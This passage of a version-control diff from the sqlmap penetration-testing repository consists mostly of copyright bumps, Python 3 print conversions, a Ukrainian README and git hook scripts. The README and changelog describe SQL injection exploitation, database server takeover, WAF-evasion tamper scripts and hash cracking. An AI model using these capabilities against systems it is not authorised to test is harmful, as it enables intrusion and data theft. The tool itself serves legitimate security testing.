against you in response to a prior proceeding or claim initiated by
you or your affiliate.
'We' means each contributor to this repository as of the date of
inclusion of this file, including subsidiaries of a corporate
contributor.
This work is available under a Creative Commons Attribution-ShareAlike
4.0 International license (https://creativecommons.org/licenses/by-sa/4.0/).
+1 -1
View File
@@ -1,7 +1,7 @@
COPYING -- Describes the terms under which sqlmap is distributed. A copy COPYING -- Describes the terms under which sqlmap is distributed. A copy
of the GNU General Public License (GPL) is appended to this file. of the GNU General Public License (GPL) is appended to this file.
sqlmap is (C) 2006-2018 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. sqlmap is (C) 2006-2019 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
This program is free software; you may redistribute and/or modify it under This program is free software; you may redistribute and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
+3 -2
View File
@@ -1,10 +1,10 @@
# sqlmap # sqlmap
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/?utm_source=github.com&utm_medium=referral&utm_content=sqlmap+repo&utm_campaign=generic+advert).** **The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/scan-website-security-issues/?utm_source=sqlmap.org&utm_medium=banner&utm_campaign=github).**
Screenshots Screenshots
---- ----
@@ -67,3 +67,4 @@ Translations
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md) * [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
* [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md) * [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
* [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md) * [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)
* [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md)
+4 -4
View File
@@ -3,7 +3,7 @@
* Implemented support for automatic decoding of page content through detected charset. * Implemented support for automatic decoding of page content through detected charset.
* Implemented mechanism for proper data dumping on DBMSes not supporting `LIMIT/OFFSET` like mechanism(s) (e.g. Microsoft SQL Server, Sybase, etc.). * Implemented mechanism for proper data dumping on DBMSes not supporting `LIMIT/OFFSET` like mechanism(s) (e.g. Microsoft SQL Server, Sybase, etc.).
* Major improvements to program stabilization based on user reports. * Major improvements to program stabilization based on user reports.
* Added new tampering scripts avoiding popular WAF/IPS/IDS mechanisms. * Added new tampering scripts avoiding popular WAF/IPS mechanisms.
* Fixed major bug with DNS leaking in Tor mode. * Fixed major bug with DNS leaking in Tor mode.
* Added wordlist compilation made of the most popular cracking dictionaries. * Added wordlist compilation made of the most popular cracking dictionaries.
* Implemented multi-processor hash cracking routine(s). * Implemented multi-processor hash cracking routine(s).
@@ -23,7 +23,7 @@
* Added option `--csv-del` for manually setting delimiting character used in CSV output. * Added option `--csv-del` for manually setting delimiting character used in CSV output.
* Added switch `--hex` for using DBMS hex conversion function(s) for data retrieval. * Added switch `--hex` for using DBMS hex conversion function(s) for data retrieval.
* Added switch `--smart` for conducting through tests only in case of positive heuristic(s). * Added switch `--smart` for conducting through tests only in case of positive heuristic(s).
* Added switch `--check-waf` for checking of existence of WAF/IPS/IDS protection. * Added switch `--check-waf` for checking of existence of WAF/IPS protection.
* Added switch `--schema` to enumerate DBMS schema: shows all columns of all databases' tables. * Added switch `--schema` to enumerate DBMS schema: shows all columns of all databases' tables.
* Added switch `--count` to count the number of entries for a specific table or all database(s) tables. * Added switch `--count` to count the number of entries for a specific table or all database(s) tables.
* Major improvements to switches `--tables` and `--columns`. * Major improvements to switches `--tables` and `--columns`.
@@ -55,7 +55,7 @@
* Added option `--host` to set the HTTP Host header value. * Added option `--host` to set the HTTP Host header value.
* Added switch `--hostname` to turn on retrieval of DBMS server hostname. * Added switch `--hostname` to turn on retrieval of DBMS server hostname.
* Added switch `--hpp` to turn on the usage of HTTP parameter pollution WAF bypass method. * Added switch `--hpp` to turn on the usage of HTTP parameter pollution WAF bypass method.
* Added switch `--identify-waf` for turning on the thorough testing of WAF/IPS/IDS protection. * Added switch `--identify-waf` for turning on the thorough testing of WAF/IPS protection.
* Added switch `--ignore-401` to ignore HTTP Error Code 401 (Unauthorized). * Added switch `--ignore-401` to ignore HTTP Error Code 401 (Unauthorized).
* Added switch `--invalid-bignum` for usage of big numbers while invalidating values. * Added switch `--invalid-bignum` for usage of big numbers while invalidating values.
* Added switch `--invalid-logical` for usage of logical operations while invalidating values. * Added switch `--invalid-logical` for usage of logical operations while invalidating values.
@@ -78,7 +78,7 @@
* Added option `--skip` to skip testing of given parameter(s). * Added option `--skip` to skip testing of given parameter(s).
* Added switch `--skip-static` to skip testing parameters that not appear to be dynamic. * Added switch `--skip-static` to skip testing parameters that not appear to be dynamic.
* Added switch `--skip-urlencode` to skip URL encoding of payload data. * Added switch `--skip-urlencode` to skip URL encoding of payload data.
* Added switch `--skip-waf` to skip heuristic detection of WAF/IPS/IDS protection. * Added switch `--skip-waf` to skip heuristic detection of WAF/IPS protection.
* Added switch `--smart` to conduct thorough tests only if positive heuristic(s). * Added switch `--smart` to conduct thorough tests only if positive heuristic(s).
* Added option `--sql-file` for setting file(s) holding SQL statements to be executed (in case of stacked SQLi). * Added option `--sql-file` for setting file(s) holding SQL statements to be executed (in case of stacked SQLi).
* Added switch `--sqlmap-shell` to turn on interactive sqlmap shell prompt. * Added switch `--sqlmap-shell` to turn on interactive sqlmap shell prompt.
+4
View File
@@ -565,6 +565,9 @@ Efrain Torres, <et(at)metasploit.com>
* for helping out to improve the Metasploit Framework sqlmap auxiliary module and for committing it on the Metasploit official subversion repository * for helping out to improve the Metasploit Framework sqlmap auxiliary module and for committing it on the Metasploit official subversion repository
* for his great Metasploit WMAP Framework * for his great Metasploit WMAP Framework
Jennifer Torres, <jtorresf42(at)gmail.com>
* for contributing a tamper script luanginx.py
Sandro Tosi, <matrixhasu(at)gmail.com> Sandro Tosi, <matrixhasu(at)gmail.com>
* for helping to create sqlmap Debian package correctly * for helping to create sqlmap Debian package correctly
@@ -597,6 +600,7 @@ Carlos Gabriel Vergara, <carlosgabrielvergara(at)gmail.com>
Patrick Webster, <patrick(at)aushack.com> Patrick Webster, <patrick(at)aushack.com>
* for suggesting an enhancement * for suggesting an enhancement
* for donating to sqlmap development (from OSI.Security)
Ed Williams, <ed.williams(at)ngssecure.com> Ed Williams, <ed.williams(at)ngssecure.com>
* for suggesting a minor enhancement * for suggesting a minor enhancement
+50
View File
@@ -0,0 +1,50 @@
# sqlmap
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
sqlmap - це інструмент для тестування вразливостей з відкритим сирцевим кодом, який автоматизує процес виявлення і використання дефектів SQL-ін'єкцій, а також захоплення серверів баз даних. Він оснащений потужним механізмом виявлення, безліччю приємних функцій для професійного тестувальника вразливостей і широким спектром скриптів, які спрощують роботу з базами даних - від відбитка бази даних до доступу до базової файлової системи та виконання команд в операційній системі через out-of-band з'єднання.
Скриншоти
----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
Ви можете ознайомитися з [колекцією скриншотів](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), які демонструють деякі функції в wiki.
Встановлення
----
Ви можете завантажити останню версію tarball натиснувши [сюди](https://github.com/sqlmapproject/sqlmap/tarball/master) або останню версію zipball натиснувши [сюди](https://github.com/sqlmapproject/sqlmap/zipball/master).
Найкраще завантажити sqlmap шляхом клонування [Git](https://github.com/sqlmapproject/sqlmap) репозиторію:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap «працює з коробки» з [Python](http://www.python.org/download/) версії **2.6.x** та **2.7.x** на будь-якій платформі.
Використання
----
Щоб отримати список основних опцій і перемикачів, використовуйте:
python sqlmap.py -h
Щоб отримати список всіх опцій і перемикачів, використовуйте:
python sqlmap.py -hh
Ви можете знайти приклад виконання [тут](https://asciinema.org/a/46601).
Для того, щоб ознайомитися з можливостями sqlmap, списком підтримуваних функцій та описом всіх параметрів і перемикачів, а також прикладами, вам рекомендується скористатися [інструкцією користувача](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Посилання
----
* Основний сайт: http://sqlmap.org
* Завантаження: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) або [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Канал новин RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Відстеження проблем: https://github.com/sqlmapproject/sqlmap/issues
* Інструкція користувача: https://github.com/sqlmapproject/sqlmap/wiki
* Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
* Демо: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
* Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -3,7 +3,7 @@
""" """
beep.py - Make a beep sound beep.py - Make a beep sound
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+7 -5
View File
@@ -3,10 +3,12 @@
""" """
cloak.py - Simple file encryption/compression utility cloak.py - Simple file encryption/compression utility
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
from __future__ import print_function
import os import os
import sys import sys
import zlib import zlib
@@ -38,7 +40,7 @@ def decloak(inputFile=None, data=None):
try: try:
data = zlib.decompress(hideAscii(data)) data = zlib.decompress(hideAscii(data))
except: except:
print 'ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
sys.exit(1) sys.exit(1)
finally: finally:
f.close() f.close()
@@ -59,11 +61,11 @@ def main():
if not args.inputFile: if not args.inputFile:
parser.error('Missing the input file, -h for help') parser.error('Missing the input file, -h for help')
except (OptionError, TypeError), e: except (OptionError, TypeError) as ex:
parser.error(e) parser.error(ex)
if not os.path.isfile(args.inputFile): if not os.path.isfile(args.inputFile):
print 'ERROR: the provided input file \'%s\' is non existent' % args.inputFile print('ERROR: the provided input file \'%s\' is non existent' % args.inputFile)
sys.exit(1) sys.exit(1)
if not args.decrypt: if not args.decrypt:
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+8 -6
View File
@@ -3,10 +3,12 @@
""" """
dbgtool.py - Portable executable to ASCII debug script converter dbgtool.py - Portable executable to ASCII debug script converter
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
from __future__ import print_function
import os import os
import sys import sys
import struct import struct
@@ -19,7 +21,7 @@ def convert(inputFile):
fileSize = fileStat.st_size fileSize = fileStat.st_size
if fileSize > 65280: if fileSize > 65280:
print "ERROR: the provided input file '%s' is too big for debug.exe" % inputFile print("ERROR: the provided input file '%s' is too big for debug.exe" % inputFile)
sys.exit(1) sys.exit(1)
script = "n %s\nr cx\n" % os.path.basename(inputFile.replace(".", "_")) script = "n %s\nr cx\n" % os.path.basename(inputFile.replace(".", "_"))
@@ -59,7 +61,7 @@ def convert(inputFile):
def main(inputFile, outputFile): def main(inputFile, outputFile):
if not os.path.isfile(inputFile): if not os.path.isfile(inputFile):
print "ERROR: the provided input file '%s' is not a regular file" % inputFile print("ERROR: the provided input file '%s' is not a regular file" % inputFile)
sys.exit(1) sys.exit(1)
script = convert(inputFile) script = convert(inputFile)
@@ -70,7 +72,7 @@ def main(inputFile, outputFile):
sys.stdout.write(script) sys.stdout.write(script)
sys.stdout.close() sys.stdout.close()
else: else:
print script print(script)
if __name__ == "__main__": if __name__ == "__main__":
usage = "%s -i <input file> [-o <output file>]" % sys.argv[0] usage = "%s -i <input file> [-o <output file>]" % sys.argv[0]
@@ -86,8 +88,8 @@ if __name__ == "__main__":
if not args.inputFile: if not args.inputFile:
parser.error("Missing the input file, -h for help") parser.error("Missing the input file, -h for help")
except (OptionError, TypeError), e: except (OptionError, TypeError) as ex:
parser.error(e) parser.error(ex)
inputFile = args.inputFile inputFile = args.inputFile
outputFile = args.outputFile outputFile = args.outputFile
+1 -1
View File
@@ -128,7 +128,7 @@ def main(src, dst):
try: try:
# Send it to the target host # Send it to the target host
sock.sendto(ip.get_packet(), (dst, 0)) sock.sendto(ip.get_packet(), (dst, 0))
except socket.error, ex: except socket.error as ex:
sys.stderr.write("'%s'\n" % ex) sys.stderr.write("'%s'\n" % ex)
sys.stderr.flush() sys.stderr.flush()
-137
View File
@@ -1,137 +0,0 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import codecs
import os
import re
import urllib2
import urlparse
from xml.dom.minidom import Document
# Path to the XML file with signatures
MSSQL_XML = os.path.abspath("../../xml/banner/mssql.xml")
# Url to update Microsoft SQL Server XML versions file from
MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
def updateMSSQLXML():
if not os.path.exists(MSSQL_XML):
errMsg = "[ERROR] file '%s' does not exist. Please run the script from its parent directory" % MSSQL_XML
print errMsg
return
infoMsg = "[INFO] retrieving data from '%s'" % MSSQL_VERSIONS_URL
print infoMsg
try:
req = urllib2.Request(MSSQL_VERSIONS_URL)
f = urllib2.urlopen(req)
mssqlVersionsHtmlString = f.read()
f.close()
except urllib2.URLError:
__mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL)
__mssqlHostname = __mssqlPath[1]
warnMsg = "[WARNING] sqlmap was unable to connect to %s," % __mssqlHostname
warnMsg += " check your Internet connection and retry"
print warnMsg
return
releases = re.findall(r"class=\"BCC_DV_01DarkBlueTitle\">SQL Server\s(.+?)\sBuilds", mssqlVersionsHtmlString, re.I)
releasesCount = len(releases)
# Create the minidom document
doc = Document()
# Create the <root> base element
root = doc.createElement("root")
doc.appendChild(root)
for index in xrange(0, releasesCount):
release = releases[index]
# Skip Microsoft SQL Server 6.5 because the HTML
# table is in another format
if release == "6.5":
continue
# Create the <signatures> base element
signatures = doc.createElement("signatures")
signatures.setAttribute("release", release)
root.appendChild(signatures)
startIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index])
if index == releasesCount - 1:
stopIdx = len(mssqlVersionsHtmlString)
else:
stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1])
mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx]
servicepackVersion = re.findall(r"</td><td>(7\.0|2000|2005|2008|2008 R2)*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I)
for servicePack, version in servicepackVersion:
if servicePack.startswith(" "):
servicePack = servicePack[1:]
if "/" in servicePack:
servicePack = servicePack[:servicePack.index("/")]
if "(" in servicePack:
servicePack = servicePack[:servicePack.index("(")]
if "-" in servicePack:
servicePack = servicePack[:servicePack.index("-")]
if "*" in servicePack:
servicePack = servicePack[:servicePack.index("*")]
if servicePack.startswith("+"):
servicePack = "0%s" % servicePack
servicePack = servicePack.replace("\t", " ")
servicePack = servicePack.replace("No SP", "0")
servicePack = servicePack.replace("RTM", "0")
servicePack = servicePack.replace("TM", "0")
servicePack = servicePack.replace("SP", "")
servicePack = servicePack.replace("Service Pack", "")
servicePack = servicePack.replace("<a href=\"http:", "")
servicePack = servicePack.replace(" ", " ")
servicePack = servicePack.replace("+ ", "+")
servicePack = servicePack.replace(" +", "+")
if servicePack.endswith(" "):
servicePack = servicePack[:-1]
if servicePack and version:
# Create the main <card> element
signature = doc.createElement("signature")
signatures.appendChild(signature)
# Create a <version> element
versionElement = doc.createElement("version")
signature.appendChild(versionElement)
# Give the <version> elemenet some text
versionText = doc.createTextNode(version)
versionElement.appendChild(versionText)
# Create a <servicepack> element
servicepackElement = doc.createElement("servicepack")
signature.appendChild(servicepackElement)
# Give the <servicepack> elemenet some text
servicepackText = doc.createTextNode(servicePack)
servicepackElement.appendChild(servicepackText)
# Save our newly created XML to the signatures file
mssqlXml = codecs.open(MSSQL_XML, "w", "utf8")
doc.writexml(writer=mssqlXml, addindent=" ", newl="\n")
mssqlXml.close()
infoMsg = "[INFO] done. retrieved data parsed and saved into '%s'" % MSSQL_XML
print infoMsg
if __name__ == "__main__":
updateMSSQLXML()
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+6 -4
View File
@@ -3,10 +3,12 @@
""" """
safe2bin.py - Simple safe(hex) to binary format converter safe2bin.py - Simple safe(hex) to binary format converter
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
from __future__ import print_function
import binascii import binascii
import re import re
import string import string
@@ -108,11 +110,11 @@ def main():
if not args.inputFile: if not args.inputFile:
parser.error('Missing the input file, -h for help') parser.error('Missing the input file, -h for help')
except (OptionError, TypeError), e: except (OptionError, TypeError) as ex:
parser.error(e) parser.error(ex)
if not os.path.isfile(args.inputFile): if not os.path.isfile(args.inputFile):
print 'ERROR: the provided input file \'%s\' is not a regular file' % args.inputFile print('ERROR: the provided input file \'%s\' is not a regular file' % args.inputFile)
sys.exit(1) sys.exit(1)
f = open(args.inputFile, 'r') f = open(args.inputFile, 'r')
+4 -2
View File
@@ -1,10 +1,12 @@
#!/usr/bin/env python #!/usr/bin/env python
# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# Removes duplicate entries in wordlist like files # Removes duplicate entries in wordlist like files
from __future__ import print_function
import sys import sys
if len(sys.argv) > 0: if len(sys.argv) > 0:
@@ -17,7 +19,7 @@ if len(sys.argv) > 0:
str.encode(item) str.encode(item)
if item in items: if item in items:
if item: if item:
print item print(item)
else: else:
items.append(item) items.append(item)
except: except:
+5 -3
View File
@@ -3,6 +3,8 @@
# Runs pylint on all python scripts found in a directory tree # Runs pylint on all python scripts found in a directory tree
# Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html # Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html
from __future__ import print_function
import os import os
import sys import sys
@@ -12,16 +14,16 @@ def check(filepath):
if "\n\n\n" in content: if "\n\n\n" in content:
index = content.find("\n\n\n") index = content.find("\n\n\n")
print filepath, repr(content[index - 30:index + 30]) print(filepath, repr(content[index - 30:index + 30]))
if __name__ == "__main__": if __name__ == "__main__":
try: try:
BASE_DIRECTORY = sys.argv[1] BASE_DIRECTORY = sys.argv[1]
except IndexError: except IndexError:
print "no directory specified, defaulting to current working directory" print("no directory specified, defaulting to current working directory")
BASE_DIRECTORY = os.getcwd() BASE_DIRECTORY = os.getcwd()
print "looking for *.py scripts in subdirectories of ", BASE_DIRECTORY print("looking for *.py scripts in subdirectories of '%s'" % BASE_DIRECTORY)
for root, dirs, files in os.walk(BASE_DIRECTORY): for root, dirs, files in os.walk(BASE_DIRECTORY):
if any(_ in root for _ in ("extra", "thirdparty")): if any(_ in root for _ in ("extra", "thirdparty")):
continue continue
+12 -1
View File
@@ -1,6 +1,17 @@
#!/bin/bash #!/bin/bash
: '
cat > .git/hooks/post-commit << EOF
#!/bin/bash
source ./extra/shutils/postcommit-hook.sh
EOF
chmod +x .git/hooks/post-commit
'
SETTINGS="../../lib/core/settings.py" SETTINGS="../../lib/core/settings.py"
PYPI="../../extra/shutils/pypi.sh"
declare -x SCRIPTPATH="${0}" declare -x SCRIPTPATH="${0}"
@@ -18,6 +29,6 @@ then
git tag $NEW_TAG git tag $NEW_TAG
git push origin $NEW_TAG git push origin $NEW_TAG
echo "Going to push PyPI package" echo "Going to push PyPI package"
/bin/bash ${SCRIPTPATH%/*}/pypi.sh /bin/bash ${SCRIPTPATH%/*}/$PYPI
fi fi
fi fi
+12 -2
View File
@@ -1,5 +1,15 @@
#!/bin/bash #!/bin/bash
: '
cat > .git/hooks/pre-commit << EOF
#!/bin/bash
source ./extra/shutils/precommit-hook.sh
EOF
chmod +x .git/hooks/pre-commit
'
PROJECT="../../" PROJECT="../../"
SETTINGS="../../lib/core/settings.py" SETTINGS="../../lib/core/settings.py"
CHECKSUM="../../txt/checksum.md5" CHECKSUM="../../txt/checksum.md5"
@@ -16,7 +26,7 @@ if [ -f $SETTINGS_FULLPATH ]
then then
LINE=$(grep -o ${SETTINGS_FULLPATH} -e 'VERSION = "[0-9.]*"') LINE=$(grep -o ${SETTINGS_FULLPATH} -e 'VERSION = "[0-9.]*"')
declare -a LINE declare -a LINE
INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.append(0) if len(_) < 3 else _; _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE") INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.extend([0] * (4 - len(_))); _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE")
if [ -n "$INCREMENTED" ] if [ -n "$INCREMENTED" ]
then then
sed -i "s/${LINE}/${INCREMENTED}/" $SETTINGS_FULLPATH sed -i "s/${LINE}/${INCREMENTED}/" $SETTINGS_FULLPATH
@@ -29,4 +39,4 @@ then
fi fi
truncate -s 0 "$CHECKSUM_FULLPATH" truncate -s 0 "$CHECKSUM_FULLPATH"
cd $PROJECT_FULLPATH && for i in $(find . -name "*.py" -o -name "*.xml" -o -iname "*_" | sort); do git ls-files $i --error-unmatch &>/dev/null && md5sum $i | stdbuf -i0 -o0 -e0 sed 's/\.\///' >> "$CHECKSUM_FULLPATH"; git add "$CHECKSUM_FULLPATH"; done cd $PROJECT_FULLPATH && for i in $(find . -name "*.py" -o -name "*.xml" -o -name "*_" -o -type f -regex "./[^./]*" | sort); do git ls-files $i --error-unmatch &>/dev/null && md5sum $i | stdbuf -i0 -o0 -e0 sed 's/\.\///' >> "$CHECKSUM_FULLPATH"; git add "$CHECKSUM_FULLPATH"; done
+1 -1
View File
@@ -1,6 +1,6 @@
#!/bin/bash #!/bin/bash
# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# Runs pycodestyle on all python files (prerequisite: pip install pycodestyle) # Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)
+11 -9
View File
@@ -3,6 +3,8 @@
# Runs pylint on all python scripts found in a directory tree # Runs pylint on all python scripts found in a directory tree
# Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html # Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html
from __future__ import print_function
import os import os
import re import re
import sys import sys
@@ -17,26 +19,26 @@ def check(module):
if module[-3:] == ".py": if module[-3:] == ".py":
print "CHECKING ", module print("CHECKING ", module)
pout = os.popen("pylint --rcfile=/dev/null %s" % module, 'r') pout = os.popen("pylint --rcfile=/dev/null %s" % module, 'r')
for line in pout: for line in pout:
if re.match(r"\AE:", line): if re.match(r"\AE:", line):
print line.strip() print(line.strip())
if __RATING__ and "Your code has been rated at" in line: if __RATING__ and "Your code has been rated at" in line:
print line print(line)
score = re.findall(r"\d.\d\d", line)[0] score = re.findall(r"\d.\d\d", line)[0]
total += float(score) total += float(score)
count += 1 count += 1
if __name__ == "__main__": if __name__ == "__main__":
try: try:
print sys.argv print(sys.argv)
BASE_DIRECTORY = sys.argv[1] BASE_DIRECTORY = sys.argv[1]
except IndexError: except IndexError:
print "no directory specified, defaulting to current working directory" print("no directory specified, defaulting to current working directory")
BASE_DIRECTORY = os.getcwd() BASE_DIRECTORY = os.getcwd()
print "looking for *.py scripts in subdirectories of ", BASE_DIRECTORY print("looking for *.py scripts in subdirectories of ", BASE_DIRECTORY)
for root, dirs, files in os.walk(BASE_DIRECTORY): for root, dirs, files in os.walk(BASE_DIRECTORY):
if any(_ in root for _ in ("extra", "thirdparty")): if any(_ in root for _ in ("extra", "thirdparty")):
continue continue
@@ -45,6 +47,6 @@ if __name__ == "__main__":
check(filepath) check(filepath)
if __RATING__: if __RATING__:
print "==" * 50 print("==" * 50)
print "%d modules found" % count print("%d modules found" % count)
print "AVERAGE SCORE = %.02f" % (total / count) print("AVERAGE SCORE = %.02f" % (total / count))
+8 -3
View File
@@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -30,6 +30,11 @@ setup(
author='Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar', author='Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar',
author_email='[email protected], [email protected]', author_email='[email protected], [email protected]',
url='http://sqlmap.org', url='http://sqlmap.org',
project_urls={
